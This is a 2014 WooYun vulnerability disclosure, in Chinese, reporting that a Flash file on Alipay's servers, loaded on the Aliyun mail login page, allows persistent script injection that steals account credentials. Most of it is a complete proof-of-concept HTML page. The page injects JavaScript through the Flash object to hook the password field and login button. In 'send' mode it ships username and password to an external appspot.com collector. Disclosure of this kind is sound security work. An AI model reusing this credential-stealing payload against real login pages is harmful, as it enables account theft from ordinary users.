[公开漏洞]我是如何实现批量种植rootkit窃取阿里云账号密码的

来源：WooYun　浏览：964次　时间：2014-05-05

我是如何实现批量种植rootkit窃取阿里云账号密码的相关厂商：阿里巴巴漏洞作者：牛奶坦克提交时间：2014-03-20 16:18 公开时间：2014-05-04 16:19 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：20 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：敏感接口缺乏校验逻辑错误设计错误设计缺陷漏洞详情披露状态：

2014-03-20：细节已通知厂商并且等待厂商处理中
2014-03-21：厂商已经确认，细节仅向厂商公开
2014-03-31：细节向核心白帽子及相关领域专家公开
2014-04-10：细节向普通白帽子公开
2014-04-20：细节向实习白帽子公开
2014-05-04：细节向公众公开

简要描述：

如题，从乌云里学到的然后来找下就来报告了，求5w

详细说明：

打开 mail.aliyun.com 跳转到 https://passport.alipay.com/login/login.htm?return_url=http%3A%2F%2Fmail.aliyun.com%2Falimail%2Fauth%2FcallbackForHavana%3Freurl%3D%252Falimail%252F&fromSite=9，查找DOM可查找到https://img.alipay.com/common/um/lsa.swf?v=1，分析SWF文件可知存在与 WooYun: 一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -（埋雷式攻击附带视频演示）报告中相同的漏洞，看来这个需要大检查啊

<html>

<head>

<style>

body{background:#000;color:#00ff00;}

a{color:#fff;}

a:visited{color:#fff;}

</style>

<meta charset="gb2312">

</head>

<body>

<script>

//flash rookit template

var siteName="阿里云邮箱";

var siteURL="http://mail.aliyun.com/";

var funcName="setCookie";

var inputs=["loginId","password","fm-login-submit"];

var rec="https://jsfile2012.appspot.com/paypalpoc?data=";

var buttonClassName="fm-button fm-submit";

var demoMethod="alert"; // 可能的值: alert(弹窗), send(发送)

</script>

<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

       <param name="movie" value="http://img.alipay.com/common/um/lsa.swf?v=1">

       <param name="allowScriptAccess" value="always">

       <embed name="JSocket" src="http://img.alipay.com/common/um/lsa.swf?v=1" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">

</object>

<center><h2>

这是一个窃取<script>document.write(siteName);</script>的XSS演示！<br/>

<br/>

<div style="width:400px;border:1px solid #00ff00;height:30px;text-align:left;">

<div id="pb" style="width:10px;background:#00ff00;height:30px;">&nbsp;

</div>

</div>

<span id="ok">&nbsp;</span>

</h2></center>

<script>

var tcount=1;

function setxss(){document['JSocket'][funcName]('_umdata','\\";location.href=\'javascript:%28function%28%29%7btry%7bfunction $n%28i%29%7bvar a=document.getElementsByName%28i%29;return a.length?a[0]:null%7d;var%20pwd=$n%28%27'+inputs[1]+'%27%29||$n%28%27'+inputs[1]+'%27%29;pwd.onblur=function%28%29%7bwindow.ppp=%28$n%28%27'+inputs[1]+'%27%29||$n%28%27'+inputs[1]+'%27%29||%7b%7d%29.value%7d;var xx=document.getElementById%28"'+inputs[2]+'"%29;xx.type=%27button%27;xx.onclick=function%28%29%7bif%28window.$s%29%7breturn true;%7delse%7bxx.setAttribute%28%27class%27,%27'+buttonClassName+'%27%29;xx.value=decodeURIComponent%28%27%25E6%25AD%25A3%25E5%259C%25A8%25E8%25BF%259B%25E5%2585%25A5...%27%29;'+(demoMethod=="alert"?('alert%28$n%28%27'+inputs[0]+'%27%29.value+%27|||%27+window.ppp%29;'):('new Image%28%29.src=%27'+rec+'%27+escape%28$n%28%27'+inputs[0]+'%27%29.value+%27|||%27+window.ppp%29;'))+'window.$s=1;setTimeout%28function%28%29%7bxx.type=%27submit%27;xx.click%28%29;%7d,5000%29;return false;%7d%7d;%7dcatch%28e%29%7b%7d%7d%29%28%29;\';//');}



//alert%28%27hooked%27%29

//function setxss(){document['JSocket'].setlso('\\";location.href=\'javascript:alert%281%29\';0//');}

function ccbar(){

var x=setTimeout(function(){

tcount++;

if(tcount>=40){

clearTimeout(x);

document.getElementById("pb").style.width="400px";

document.getElementById("ok").innerHTML="<br/>现在你可以作为受害者登录<a target='_blank' href='"+siteURL+"'>"+siteName+"</a>";

}else{

document.getElementById("pb").style.width=tcount*10+"px";

ccbar();

}

},1000/24);

}

function dodo(){

var x = setTimeout(function(){

if(document['JSocket'][funcName]){

clearTimeout(x);

console.log("ok");

setxss();

ccbar();

}else{

tcount++;

document.getElementById("pb").style.width=tcount*10+"px";

dodo();

}

},100);

}

dodo();

</script>

</body>

</html>